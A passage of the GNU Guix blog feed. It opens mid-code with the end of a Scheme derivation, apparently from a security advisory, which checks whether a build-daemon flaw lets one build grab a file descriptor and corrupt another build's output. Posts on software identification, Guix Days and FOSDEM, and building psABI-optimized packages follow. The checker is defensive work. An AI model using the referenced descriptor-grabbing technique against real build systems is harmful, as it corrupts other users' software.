(define check
(computed-file "checking-for-vulnerability"
#~(begin
(use-modules (ice-9 textual-ports))
(mkdir #$output) ;make sure there's an output
(format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
#+derivation-that-grabs-fd
#+derivation-that-exfiltrates-fd)
(let ((content (call-with-input-file
#+derivation-that-exfiltrates-fd
get-string-all)))
(format #t "Here is what we see in ~a: ~s~%~%"
#+derivation-that-exfiltrates-fd content)
(if (string=? content #$original-text)
(format #t "Failed to corrupt ~a, \
your system is safe.~%"
#+derivation-that-exfiltrates-fd)
(begin
(format #t "We managed to corrupt ~a, \
meaning that YOUR SYSTEM IS VULNERABLE!~%"
#+derivation-that-exfiltrates-fd)
(exit 1)))))))
check</code></pre><h3>About GNU Guix</h3><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager
and an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
<a href="https://www.gnu.org/software/guile">Guile</a> programming interfaces and
extensions to the <a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2024/identifying-software//Identifying softwareLudovic Courtès, Maxim Cournoyer, Jan Nieuwenhuizen, Simon Tournier2024-03-04T15:00:00Z2024-03-04T15:00:00Z What does it take to “identify software”? How can we tell what software
is running on a machine to determine, for example, what security
vulnerabilities might affect it? In October 2023, the US Cybersecurity and Infrastructure Security Agency
(CISA) published a white paper entitled Software Identification
Ecosystem Option
Analysis
that looks at existing options to address these questions. The
publication was followed by a request for
comments ; our
comment
as Guix developers didn’t make it on time to be published, but we’d like
to share it here. Software identification for cybersecurity purposes is a crucial topic,
as the…<p>What does it take to “identify software”? How can we tell what software
is running on a machine to determine, for example, what security
vulnerabilities might affect it?</p><p>In October 2023, the US Cybersecurity and Infrastructure Security Agency
(CISA) published a white paper entitled <a href="https://www.cisa.gov/resources-tools/resources/software-identification-ecosystem-option-analysis"><em>Software Identification
Ecosystem Option
Analysis</em></a>
that looks at existing options to address these questions. The
publication was followed by a <a href="https://www.regulations.gov/document/CISA-2023-0026-0001">request for
comments</a>; our
<a href="https://git.savannah.gnu.org/cgit/guix/maintenance.git/plain/doc/cisa-2023-0026-0001/cisa-2023-0026-0001.pdf">comment</a>
as Guix developers didn’t make it on time to be published, but we’d like
to share it here.</p><p>Software identification for cybersecurity purposes is a crucial topic,
as the white paper explains in its introduction:</p><blockquote><p>Effective vulnerability management requires software to be trackable
in a way that allows correlation with other information such as known
vulnerabilities […]. This correlation is only possible when different
cybersecurity professionals know they are talking about the same
software.</p></blockquote><p>The <a href="https://en.wikipedia.org/wiki/Common_Platform_Enumeration">Common Platform Enumeration
(CPE)</a>
standard has been designed to fill that role; it is used to identify
software as part of the well-known <a href="https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures">Common Vulnerabilities and Exposures
(CVE)</a>
process. But CPE is showing its limits as an <em>extrinsic identification
mechanism</em>: the human-readable identifiers chosen by CPE fail to capture
the complexity of what “software” is.</p><p>We think functional software deployment as implemented by Nix and Guix,
coupled with the source code identification work carried out by Software
Heritage, provides a unique perspective on these matters.</p><h1>On Software Identification</h1><p>The <em>Software Identification Ecosystem Option Analysis</em> white paper
released by CISA in October 2023 studies options towards the definition
of <em>a software identification ecosystem that can be used across the
complete, global software space for all key cybersecurity use cases</em>.</p><p>Our experience lies in the design and development of
<a href="https://guix.gnu.org">GNU Guix</a>, a package manager, software deployment
tool, and GNU/Linux distribution, which emphasizes three key elements:
<strong>reproducibility, provenance tracking, and auditability</strong>. We explain
in the following sections our approach and how it relates to the goal
stated in the aforementioned white paper.</p><p>Guix produces binary artifacts of varying complexity from source code:
package binaries, application bundles (container images to be consumed
by Docker and related tools), system installations, system bundles
(container and virtual machine images).</p><p>All these artifacts qualify as “software” and so does source code. Some
of this “software” comes from well-identified upstream packages,
sometimes with modifications added downstream by packagers (patches);
binary artifacts themselves are the byproduct of a build process where
the package manager uses <em>other</em> binary artifacts it previously built
(compilers, libraries, etc.) along with more source code (the package
definition) to build them. How can one identify “software” in that
sense?</p><p>Software is dual: it exists in <em>source</em> form and in <em>binary</em>,
machine-executable form. The latter is the outcome of a complex
computational process taking source code and intermediary binaries as
input.</p><p>Our thesis can be summarized as follows:</p><blockquote><p><strong>We consider that the requirements for source code identifiers differ
from the requirements to identify binary artifacts.</strong></p><p>Our view, embodied in GNU Guix, is that:</p><ol><li><p><strong>Source code</strong> can be identified in an unambiguous and
distributed fashion through <em>inherent identifiers</em> such as
cryptographic hashes.</p></li><li><p><strong>Binary artifacts</strong>, instead, need to be the byproduct of a
<em>comprehensive and verifiable build process itself available as
source code</em>.</p></li></ol></blockquote><p>In the next sections, to clarify the context of this statement, we show
how Guix identifies source code, how it defines the <em>source-to-binary</em>
path and ensures its verifiability, and how it provides provenance
tracking.</p><h1>Source Code Identification</h1><p>Guix includes <a href="https://guix.gnu.org/manual/en/html_node/Defining-Packages.html">package
definitions</a>
for almost 30,000 packages. Each package definition identifies its
<a href="https://guix.gnu.org/manual/en/html_node/origin-Reference.html">origin</a>—its
“main” source code as well as patches. The origin is
<strong>content-addressed</strong>: it includes a SHA256 cryptographic hash of the
code (an <em>inherent identifier</em>), along with a primary URL to download
it.</p><p>Since source is content-addressed, the URL can be thought of as a hint.
Indeed, <strong>we connected Guix to the <a href="https://www.softwareheritage.org">Software
Heritage</a> source code archive</strong>: when
source code vanishes from its original URL, Guix falls back to
downloading it from the archive. This is made possible thanks to the use
of inherent (or intrinsic) identifiers both by Guix and Software
Heritage.</p><p>More information can be found in this <a href="https://guix.gnu.org/en/blog/2019/connecting-reproducible-deployment-to-a-long-term-source-code-archive/">2019 blog
post</a>
and in the documents of the <a href="https://www.swhid.org/">Software Hash Identifiers
(SWHID)</a> working group.</p><h1>Reproducible Builds</h1><p>Guix provides a <strong>verifiable path from source code to binaries</strong> by
ensuring <a href="https://reproducible-builds.org">reproducible builds</a>. To
achieve that, Guix builds upon the pioneering research work of Eelco
Dolstra that led to the design of the <a href="https://nixos.org">Nix package
manager</a>, with which it shares the same conceptual
foundation.</p><p>Namely, Guix relies on <em>hermetic builds</em>: builds are performed in
isolated environments that contain nothing but explicitly-declared
dependencies—where a “dependency” can be the output of another build
process or source code, including build scripts and patches.</p><p>An implication is that <strong>builds can be verified independently</strong>. For
instance, for a given version of Guix, <code>guix build gcc</code>
should produce the exact same binary, bit-for-bit. To facilitate
independent verification, <code>guix challenge gcc</code> compares the
binary artifacts of the GNU Compiler Collection (GCC) as built and
published by different parties. Users can also compare to a local build
with <code>guix build gcc --check</code>.</p><p>As with Nix, build processes are identified by <em>derivations</em>, which are
low-level, content-addressed build instructions; derivations may refer
to other derivations and to source code. For instance,
<code>/gnu/store/c9fqrmabz5nrm2arqqg4ha8jzmv0kc2f-gcc-11.3.0.drv</code>
uniquely identifies the derivation to build a specific variant of
version 11.3.0 of the GNU Compiler Collection (GCC). Changing the
package definition—patches being applied, build flags, set of
dependencies—, or similarly changing one of the packages it depends
on, leads to a different derivation (more information can be found in
<a href="https://edolstra.github.io/pubs/phd-thesis.pdf">Eelco Dolstra's PhD
thesis</a>).</p><p>Derivations form a graph that <strong>captures the entirety of the build
processes leading to a binary artifact</strong>. In contrast, mere package
name/version pairs such as <code>gcc 11.3.0</code> fail to capture the
breadth and depth elements that lead to a binary artifact. This is a
shortcoming of systems such as the <strong>Common Platform Enumeration</strong> (CPE)
standard: it fails to express whether a vulnerability that applies to
<code>gcc 11.3.0</code> applies to it regardless of how it was built,
patched, and configured, or whether certain conditions are required.</p><h1>Full-Source Bootstrap</h1><p>Reproducible builds alone cannot ensure the source-to-binary
correspondence: the compiler could contain a backdoor, as demonstrated
by Ken Thompson in <em>Reflections on Trusting Trust</em>. To address that,
Guix goes further by implementing so-called <strong>full-source bootstrap</strong>:
for the first time, literally every package in the distribution is built
from source code, <a href="https://guix.gnu.org/en/blog/2023/the-full-source-bootstrap-building-from-source-all-the-way-down/">starting from a very small binary
seed</a>.
This gives an unprecedented level of transparency, allowing code to be
audited at all levels, and improving robustness against the
“trusting-trust attack” described by Ken Thompson.</p><p>The European Union recognized the importance of this work through an
<a href="https://nlnet.nl/project/GNUMes-fullsource/">NLnet Privacy & Trust Enhancing Technologies (NGI0 PET)
grant</a> allocated in
2021 to Jan Nieuwenhuizen to further work on full-source bootstrap in
GNU Guix, GNU Mes, and related projects, followed by <a href="https://nlnet.nl/project/GNUMes-ARM_RISC-V/">another
grant</a> in 2022 to expand
support to the Arm and RISC-V CPU architectures.</p><h1>Provenance Tracking</h1><p>We define provenance tracking as the ability <strong>to map a binary artifact
back to its complete corresponding source</strong>. Provenance tracking is
necessary to allow the recipient of a binary artifact to access the
corresponding source code and to verify the source/binary correspondence
if they wish to do so.</p><p>The
<a href="https://guix.gnu.org/manual/en/html_node/Invoking-guix-pack.html"><code>guix pack</code></a>
command can be used to build, for instance, containers images. Running
<code>guix pack -f docker python --save-provenance</code> produces a
<em>self-describing Docker image</em> containing the binaries of Python and its
run-time dependencies. The image is self-describing because
<code>--save-provenance</code> flag leads to the inclusion of a
<em>manifest</em> that describes which revision of Guix was used to produce
this binary. A third party can retrieve this revision of Guix and from
there view the entire build dependency graph of Python, view its source
code and any patches that were applied, and recursively for its
dependencies.</p><p>To summarize, capturing the revision of Guix that was used is all it
takes to <em>reproduce</em> a specific binary artifact. This is illustrated by
<a href="https://guix.gnu.org/manual/en/html_node/Invoking-guix-time_002dmachine.html">the <code>time-machine</code>
command</a>.
The example below deploys, <em>at any time on any machine</em>, the specific
build artifact of the <code>python</code> package as it was defined in this Guix
commit:</p><pre><code class="language-example">guix time-machine -q --commit=d3c3922a8f5d50855165941e19a204d32469006f \
-- install python</code></pre><p>In other words, because Guix itself defines how artifacts are built,
<strong>the revision of the Guix source coupled with the package name
unambiguously identify the package’s binary artifact</strong>. As
scientists, we build on this property to achieve reproducible research
workflows, as explained in this <a href="https://doi.org/10.1038/s41597-022-01720-9">2022 article in <em>Nature Scientific
Data</em></a>; as engineers, we
value this property to analyze the systems we are running and determine
which known vulnerabilities and bugs apply.</p><p>Again, a software bill of materials (SBOM) written as a mere list of
package name/version pairs would fail to capture as much information.
The <strong>Artifact Dependency Graph (ADG) of
<a href="https://omnibor.io/">OmniBOR</a></strong>, while less ambiguous, falls short in
two ways: it is too fine-grained for typical cybersecurity applications
(at the level of individual source files), and it only captures the
alleged source/binary correspondence of individual files but not the
process to go from source to binary.</p><h1>Conclusions</h1><p>Inherent identifiers lend themselves well to unambiguous source code
identification, as demonstrated by Software Heritage, Guix, and Nix.</p><p>However, we believe binary artifacts should instead be treated as the
result of a computational process; it is that process that needs to be
fully captured to support <strong>independent verification of the
source/binary correspondence</strong>. For cybersecurity purposes, recipients
of a binary artifact must be able to be map it back to its source code
(<em>provenance tracking</em>), with the additional guarantee that they must be
able to reproduce the entire build process to verify the source/binary
correspondence (<em>reproducible builds and full-source bootstrap</em>). As
long as binary artifacts result from a reproducible build process,
itself described as source code, <strong>identifying binary artifacts boils
down to identifying the source code of their build process</strong>.</p><p>These ideas are developed in the 2022 scientific paper <a href="https://doi.org/10.22152/programming-journal.org/2023/7/1"><em>Building a
Secure Software Supply Chain with
GNU Guix</em></a></p>https://guix.gnu.org/blog/2024/guix-days-2024-recap//Guix Days 2024 and FOSDEM recapSteve George2024-02-10T18:00:00Z2024-02-10T18:00:00Z Guix contributors and users got together in Brussels to explore Guix's status, chat about new ideas and spend some time together enjoying Belgian beer! Here's a recap of what was discussed. Day 1 The first day kicked off with an update on the project's health, given by Efraim Flashner representing the project's Maintainer collective. Efraim relayed that the project is doing well, with lots of exciting new features coming into the archive and new users taking part. It was really cool listening to all the new capabilities - thank-you to all our volunteer contributors who are…<p>Guix contributors and users got together in Brussels to explore Guix's status, chat about new ideas and spend some time together enjoying Belgian beer! Here's a recap of what was discussed.</p><h1>Day 1</h1><p>The first day kicked off with an update on the project's health, given by Efraim Flashner representing the project's Maintainer collective. Efraim relayed that the project is doing well, with lots of exciting new features coming into the archive and new users taking part. It was really cool listening to all the new capabilities - thank-you to all our volunteer contributors who are making Guix better! Efraim noted that the introduction of <a href="https://guix.gnu.org/manual/en/html_node/Teams.html">Teams</a> has improved collaboration - equally, that there's plenty of areas we can improve. For example, concern remains over the "bus factor" in key areas like infrastructure. There's also a desire to release more often as this provides an updated installer and lets us talk about new capabilities.</p><p>Christopher Baines gave a general talk about the QA infrastructure and the ongoing work to develop automated builds. Chris showed a diagram of the way the <a href="https://qa.guix.gnu.org/README#org5dde7a9">services interact</a> which shows how complex it is. Increasing automation is very valuable for users and contributors, as it removes tedious and unpleasant drudgery!</p><p>Then, Julien Lepiller, representing the <a href="https://foundation.guix.info/">Guix Foundation</a>, told us about the work it does. Julien also brought some great stickers! The Guix Foundation is a non-profit association that can receive donations, host activities and support the Guix project. Did you know that it's simple and easy to join? Anyone can do so by simply <strong><a href="https://foundation.guix.info/statutes/membershipform.txt">filling in the form and paying the 10 Euro membership fee</a></strong>. Contact the Guix Foundation if you'd like to know more.</p><p>The rest of the day was taken up with small groups discussing topics:</p><ul><li><p><strong>Goblins, Hoot and Guix</strong>: Christine Lemmer-Webber gave an introduction to
the <a href="https://spritely.institute/">Spritely Institute's</a> mission to create
decentralized networks and community infrastructure that respects user freedom
and security. There was a lot of interesting discussion about how the
network capabilities could be used in Guix, for example enabling distributed
build infrastructure.</p></li><li><p><strong>Infrastructure</strong>: There was a working session on how the projects
infrastructure works and can be improved. Christopher Baines has been
putting lots of effort into the QA and build infrastructure.</p></li><li><p><strong>Guix Home</strong>: Gábor Boskovits coordinated a session on Guix Home. It was
exciting to think about how Guix Home introduces the "Guix way" in a
completely different way from packages. This could introduce a whole new
audience to the project. There was interest in improving the overall
experience so it can be used with other distributions
(e.g. Fedora, Arch Linux, Debian and Ubuntu).</p></li><li><p><strong>Release management</strong>: Julien Lepiller led us through a discussion of
release management, explaining the ways that all the parts fit together. The
most important part that has to be done is testing the installation image
which is a manual process.</p></li></ul><h1>Day 2</h1><p>The second day's sessions:</p><ul><li><p><strong>Funding</strong>: A big group discussed funding for the project. Funding is
important because it determines many aspects of what the group can achieve.
Guix is a global project so there are pools of money in the United States and
Europe (France). Andreas Enge and Julien Lepiller represented the group that
handle finance, giving answers on the practical elements. Listening to their
description of this difficult and involved work, I was struck how grateful
we all are that they're willing to do it!</p></li><li><p><strong>Governance</strong>: Guix is a living project that continues to grow and evolve.
The governance discussion concerned how the project continues to chart a
clear direction, make good decisions and bring both current and new users on
the journey. There was reflection on the need for accountability and quick
decision making, without onerous bureaurcacy, while also acknowledging that
everyone is a volunteer. There was a lot of interest in how groups can join
together, perhaps using approaches like <a href="https://en.wikipedia.org/wiki/Sociocracy">Sociocracy</a>.</p><p>Simon Tournier has been working on an <a href="https://issues.guix.gnu.org/issue/66844">RFC process</a>,
which the project will use to discuss major changes and make decisions.
Further discussion is taking place on the development mailing-list if you'd
like to take part.</p></li><li><p><strong>Alternative Architectures</strong>: The Guix team continues to work on
alternative architectures. Efraim had his 32-bit PowerPC (Powerbook G4) with
him, and there's continued work on PowerPC64, ARM64 and RISC-V 64. The big
goal is a complete source bootscrap across all architectures.</p></li><li><p><strong>Hurd</strong>: Janneke Nieuwenhuizen led a discussion around
<a href="https://www.gnu.org/software/hurd/">GNU Hurd</a>, which is a microkernel-based
architecture. Activity has increased in the last couple of years, and there's
support for SMP and 64-bit (x86) is work in progress. There's lots of ideas
and excitement about getting Guix to work on Hurd.</p></li><li><p><strong>Guix CLI improvements</strong>: Jonathan coordinated a discussion about the state of the Guix CLI. A consistent, self-explaining and intuitive experience is important for our users. There are 39 top-level commands, that cover all the functionality from package management through to environment and system creation! Various improvements were discussed, such as making extensions available and improving documentation about the REPL work-flow.</p></li></ul><h1>FOSDEM 2024 videos</h1><p>Guix Days 2024 took place just before FOSDEM 2024. FOSDEM was a fantastic two days of interesting talks and conversations. If you'd like to watch the GUIX-related talks the videos are being put online:</p><ul><li><p><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2651-making-reproducible-and-publishable-large-scale-hpc-experiments/"><strong>Making reproducible and publishable large-scale HPC experiments</strong></a>
by Philippe Swartvagher.</p></li><li><p><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2339-scheme-in-the-browser-with-guile-hoot-and-webassembly/"><strong>Scheme in the Browser with Guile Hoot and WebAssembly</strong></a>
by Robin Templeton.</p></li><li><p><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-1755-risc-v-bootstrapping-in-guix-and-live-bootstrap/"><strong>RISC-V Bootstrapping in Guix and Live-Bootstrap</strong></a>
by Ekaitz Zarraga.</p></li><li><p><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2560-self-hosting-and-autonomy-using-guix-forge/"><strong>Self-hosting and autonomy using guix-forge</strong></a>
by Arun Isaac.</p></li><li><p><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2331-spritely-guile-guix-a-unified-vision-for-user-security/"><strong>Spritely, Guile, Guix: a unified vision for user security</strong></a>
by Christine Lemmer-Webber.</p></li><li><p><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2927-supporting-architecture-psabis-with-gnu-guix/"><strong>Supporting architecture psABIs with GNU Guix</strong></a>
by Efraim Flashner.</p></li></ul><h1>Join Us</h1><p>There's lots happening in Guix and many ways to get involved. We're a small and friendly project that values user freedom and a welcoming community. If this recap has inspired your interest, take a look at the <a href="https://git.savannah.gnu.org/cgit/guix/maintenance.git/tree/doc/guix-days-2024">raw notes</a> and <a href="https://guix.gnu.org/en/contribute/"><strong>join us!</strong></a></p>https://guix.gnu.org/blog/2024/meet-guix-at-fosdem-2024//Guix at FOSDEM 2024Steve George2024-01-19T15:00:00Z2024-01-19T15:00:00Z It's not long to FOSDEM 2024, where Guixers will come together to learn and hack.
As usual there's some great talks and opportunities to meet other users and
contributors. FOSDEM is Europe's biggest Free Software conference.
It's aimed at developers and anyone who's interested in the Free Software
movement. While it's an in-person conference there are live video streams
and lots of ways to participate remotely. The schedule is varied with development rooms covering many interests. Here
are some of the talks that are of particular interest to Guixers: Saturday, 3rd Febuary " Making reproducible and…<p>It's not long to FOSDEM 2024, where Guixers will come together to learn and hack.
As usual there's some great talks and opportunities to meet other users and
contributors.</p><p><a href="https://fosdem.org/2024/">FOSDEM</a> is Europe's biggest Free Software conference.
It's aimed at developers and anyone who's interested in the Free Software
movement. While it's an in-person conference there are live video streams
and lots of ways to participate remotely.</p><p>The schedule is varied with development rooms covering many interests. Here
are some of the talks that are of particular interest to Guixers:</p><h3>Saturday, 3rd Febuary</h3><ul><li><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2651-making-reproducible-and-publishable-large-scale-hpc-experiments/">"<strong>Making reproducible and publishable large-scale HPC experiments</strong>"</a>
by Philippe Swartvagher (10:30 CET). Philippe will talk about the search for
reproducible experiments in high-performance computing (HPC) and how he uses
Guix in his methododology.</li></ul><h3>Sunday, 4th February</h3><p>The <a href="https://fosdem.org/2024/schedule/track/declarative-and-minimalistic-computing/">Declarative and Minimalistic Computing track</a>
takes place Sunday morning. Important topics are:</p><ul><li><em>Minimalism Matters</em>: sustainable computing through smaller, resource efficient systems</li><li><em>Declarative Programming</em>: reliable and reproducible systems by minimising side-effects</li></ul><p>Guix-related talks are:</p><ul><li><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2339-scheme-in-the-browser-with-guile-hoot-and-webassembly/">"<strong>Scheme in the Browser with Guile Hoot and WebAssembly</strong>"</a>
by Robin Templeton (11:00 CET). A talk covering bringing Scheme to WebAssembly
through the Guile Hoot toolchain. Addressing the current state of Guile Hoot
with examples, and how recent Wasm proposals might improve the
situation in the future.</li><li><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-1755-risc-v-bootstrapping-in-guix-and-live-bootstrap/">"<strong>RISC-V Bootstrapping in Guix and Live-Bootstrap</strong>"</a>
by Ekaitz Zarraga (11:20 CET). An update on the RISC-V bootstrapping effort
in Guix and Live-bootstrap. Covering what's been done, what's left to do and
some of the lessons learned.</li><li><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2560-self-hosting-and-autonomy-using-guix-forge/">"<strong>Self-hosting and autonomy using guix-forge</strong>"</a>
by Arun Isaac (11:40 CET). This talk demonstrates the value of Guix's declarative
configuration to simplify deploying and maintaining complex services. Showing
<a href="https://guix-forge.systemreboot.net/">guix-forge</a>, a project that
makes it easy to self-host an efficient software forge.</li><li><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2331-spritely-guile-guix-a-unified-vision-for-user-security/">"<strong>Spritely, Guile, Guix: a unified vision for user security</strong>"</a>
by Christine Lemmer-Webber (12:00 CET). Spritely's goal is to create
networked communities that puts people in control of their own identity
and security. This talk will present a unified vision of how Spritely,
Guile, and Guix can work together to bring user freedom and security to
everyone!</li></ul><p>This year the track commemorates Joe Armstrong, who was the principal
inventor of <a href="https://www.erlang.org/">Erlang</a>. His focus on concurrency,
distribution and fault-tolerence are key topics in declarative and minimalistic
computing. This <a href="https://thenewstack.io/why-erlang-joe-armstrongs-legacy-of-fault-tolerant-computing/">article</a>
is a great introduction to his legacy. Along with
<a href="https://youtu.be/lKXe3HUG2l4?si=3zbc7BEbg1o6mW5R">"<strong>The Mess We're In</strong>"</a>, a
classic where he discusses why software is getting worse with time, and what can
be done about it.</p><p>On Sunday afternoon, the <a href="https://fosdem.org/2024/schedule/track/distributions/">Distributions devroom</a>
has another Guix talk:</p><ul><li><a href="https://fosdem.org/2024/schedule/event/fosdem-2024-2927-supporting-architecture-psabis-with-gnu-guix/">"<strong>Supporting architecture psABIs with GNU Guix</strong>"</a>
by Efraim Flashner (14:30 CET). Guix maintainer Efraim will be giving a
talk about improving Guix's performance. Demonstrating how to use psABI
targets that keep older hardware compatible while providing optimized
libraries for newer hardware.</li></ul><h3>Guix Days (Thursday and Friday)</h3><p>Guix Days will be taking place on the Thursday and Friday before FOSDEM. This is
an <a href="https://en.wikipedia.org/wiki/Unconference">"unconference-style"</a> event,
where the community gets together to focus on Guix's development. All the
details are on the
<a href="https://libreplanet.org/wiki/Group:Guix/FOSDEM2024"><strong>Libreplanet Guix Wiki</strong></a>.</p><h3>Participating</h3><p>Come and join in the fun, whether you're a new Guix user or seasoned hacker!
If you're not in Brussels you can still take part:</p><ul><li>See the <a href="https://fosdem.org/2024/schedule/">FOSDEM Schedule</a></li><li>Watch the <a href="https://fosdem.org/2024/schedule/streaming/">live streams</a></li><li>Chat in the unofficial <a href="https://matrix.to/#/#guix-days:matrix.org">Guix Days Matrix room</a></li></ul><h3>About GNU Guix</h3><p><a href="https://guix.gnu.org">GNU Guix</a> is a transactional package manager and
an advanced distribution of the GNU system that <a href="https://www.gnu.org/distros/free-system-distribution-guidelines.html">respects user
freedom</a>.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system distribution
for i686, x86_64, ARMv7, AArch64, and POWER9 machines.</p><p>In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package management,
per-user profiles, and garbage collection. When used as a standalone
GNU/Linux distribution, Guix offers a declarative, stateless approach to
operating system configuration management. Guix is highly customizable
and hackable through <a href="https://www.gnu.org/software/guile">Guile</a>
programming interfaces and extensions to the
<a href="http://schemers.org">Scheme</a> language.</p>https://guix.gnu.org/blog/2024/building-packages-targeting-psabis//Building packages targeting psABIsEfraim Flashner2024-01-14T12:00:00Z2024-01-14T12:00:00Z Starting with version 2.33, the GNU C library (glibc) grew the capability to
search for shared libraries using additional paths, based on the hardware
capabilities of the machine running the code. This was a great boon for
x86_64, which was first released in 2003, and has seen many changes in the
capabilities of the hardware since then. While it is extremely common for
Linux distributions to compile for a baseline which encompasses all of an
architecture, there is performance being left on the table by targeting such an
old specification and not one of the newer revisions. One option used internally in…<p>Starting with version 2.33, the GNU C library (glibc) grew the capability to
search for shared libraries using additional paths, based on the hardware
capabilities of the machine running the code. This was a great boon for
x86_64, which was first released in 2003, and has seen many changes in the
capabilities of the hardware since then. While it is extremely common for
Linux distributions to compile for a baseline which encompasses all of an
architecture, there is performance being left on the table by targeting such an
old specification and not one of the newer revisions.</p><p>One option used internally in glibc and in some other performance-critical
libraries is <a href="https://sourceware.org/glibc/wiki/GNU_IFUNC">indirect functions, or
IFUNCs</a> (see also
<a href="https://hpc.guix.info/blog/2018/01/pre-built-binaries-vs-performance/">here</a>)
The loader, <code>ld.so</code> uses them to pick function implementations optimized for
the available CPU at load time. GCC's <a href="https://gcc.gnu.org/wiki/FunctionMultiVersioning">functional multi-versioning
(FMV)</a> generates several
optimized versions of functions, using the IFUNC mechanism so the approprate
one is selected at load time. These are strategies which most
performance-sensitive libraries do, but not all of them.</p><p>With the <code>--tune</code> using <a href="https://guix.gnu.org/en/manual/devel/en/html_node/Package-Transformation-Options.html">package
transformation</a>
option, Guix implements so-called <a href="https://hpc.guix.info/blog/2022/01/tuning-packages-for-a-cpu-micro-architecture/"><em>package
multi-versioning</em></a>
which creates package variants using compiler flags set to use optimizations
targeted for a specific CPU.</p><p>Finally - and we're getting to the central topic of this post! - glibc since
version 2.33 supports another approach: <code>ld.so</code> would search not just the
<code>/lib</code> folder, but also the <code>glibc-hwcaps</code> folders, which for x86_64 included
<code>/lib/glibc-hwcaps/x86-64-v2</code>, <code>/lib/glibc-hwcaps/x86-64-v3</code> and
<code>/lib/glibc-hwcaps/x86-64-v4</code>, corresponding to the psABI micro-architectures
of the x86_64 architecture (<em>psABI</em> stands for <em>processor supplement of the
application binary interface</em> and refers to the
<a href="https://gitlab.com/x86-psABIs/x86-64-ABI">document</a> that specifies
among other things those <code>x86-64-v*</code> levels).
This means that if a library was compiled against
the baseline of the architecture then it should be installed in <code>/lib</code>, but if
it were compiled a second time, this time using (depending on the build
instructions) <code>-march=x86-64-v2</code>, then the libraries could be installed in
<code>/lib/glibc-hwcaps/x86-64-v2</code> and then glibc, using <code>ld.so</code>, would choose the
correct library at runtime.</p><p>These micro-architectures aren't a perfect match for the different hardware
available, it is often the case that a particular CPU would satisfy the
requirements of one tier and part of the next but would therefore only be able
to use the optimizations provided by the first tier and not by the added
features that the CPU also supports.</p><p>This of course shouldn't be a problem in Guix; it's possible, and even
encouraged, to adjust packages to be more useful for one's needs. The problem
comes from the search paths: <code>ld.so</code> will only search for the <code>glibc-hwcaps</code>
directory if it has already found the base library in the preceding <code>/lib</code>
directory. This isn't a problem for distributions following the File System
Hierarchy (FHS), but for Guix we will need to ensure that all the different
versions of the library will be in the same output.</p><p>With a little bit of planning this turns out to not be as hard as it sounds.
Lets take for example, the <a href="https://www.gnu.org/software/gsl/">GNU Scientific
Library</a>, gsl, a math library which helps
with all sorts of numerical analysis. First we create a procedure to generate
our 3 additional packages, corresponding to the psABIs that are searched for in
the <code>glibc-hwcaps</code> directory.</p><pre><code class="language-scheme">(define (gsl-hwabi psabi)
(package/inherit gsl
(name (string-append "gsl-" psabi))
(arguments
(substitute-keyword-arguments (package-arguments gsl)
((#:make-flags flags #~'())
#~(append (list (string-append "CFLAGS=-march=" #$psabi)
(string-append "CXXFLAGS=-march=" #$psabi))
#$flags))
((#:configure-flags flags #~'())
#~(append (list (string-append "--libdir=" #$output
"/lib/glibc-hwcaps/" #$psabi))
#$flags))
;; The building machine can't necessarily run the code produced.
((#:tests? _ #t) #f)
((#:phases phases #~%standard-phases)
#~(modify-phases #$phases
(add-after 'install 'remove-extra-files
(lambda _
(for-each (lambda (dir)
(delete-file-recursively (string-append #$output dir)))
(list (string-append "/lib/glibc-hwcaps/" #$psabi "/pkgconfig")
"/bin" "/include" "/share"))))))))
(supported-systems '("x86_64-linux" "powerpc64le-linux"))
(properties `((hidden? . #t)
(tunable? . #f)))))</code></pre><p>We remove some directories and any binaries since we only want the libraries
produced from the package; we want to use the headers and any other bits from
the <code>main</code> package. We then combine all of the pieces together to produce a
package which can take advantage of the hardware on which it is run:</p><pre><code class="language-scheme">(define-public gsl-hwcaps
(package/inherit gsl
(name "gsl-hwcaps")
(arguments
(substitute-keyword-arguments (package-arguments gsl)
((#:phases phases #~%standard-phases)
#~(modify-phases #$phases
(add-after 'install 'install-optimized-libraries
(lambda* (#:key inputs outputs #:allow-other-keys)
(let ((hwcaps "/lib/glibc-hwcaps/"))
(for-each
(lambda (psabi)
(copy-recursively
(string-append (assoc-ref inputs (string-append "gsl-" psabi))
hwcaps psabi)
(string-append #$output hwcaps psabi))
'("x86-64-v2" "x86-64-v3" "x86-64-v4"))))))))
(native-inputs
(modify-inputs (package-native-inputs gsl)
(append (gsl-hwabi "x86-64-v2")
(gsl-hwabi "x86-64-v3")
(gsl-hwabi "x86-64-v4"))))
(supported-systems '("x86_64-linux"))
(properties `((tunable? . #f)))))</code></pre><p>In this case the size of the final package is increased by about 13 MiB, from
5.5 MiB to 18 MiB. It is up to you if the speed-up from providing an optimized
library is worth the size trade-off.</p><p>To use this package as a replacement build input in a package
<code>package-input-rewriting/spec</code> is a handy tool:</p><pre><code class="language-scheme">(define use-glibc-hwcaps
(package-input-rewriting/spec
;; Replace some packages with ones built targeting custom packages build
;; with glibc-hwcaps support.
`(("gsl" . ,(const gsl-hwcaps)))))
(define-public inkscape-with-hwcaps
(package
(inherit (use-glibc-hwcaps inkscape))
(name "inkscape-with-hwcaps")))</code></pre><p>Of the Guix supported architectures, x86_64-linux and powerpc64le-linux can
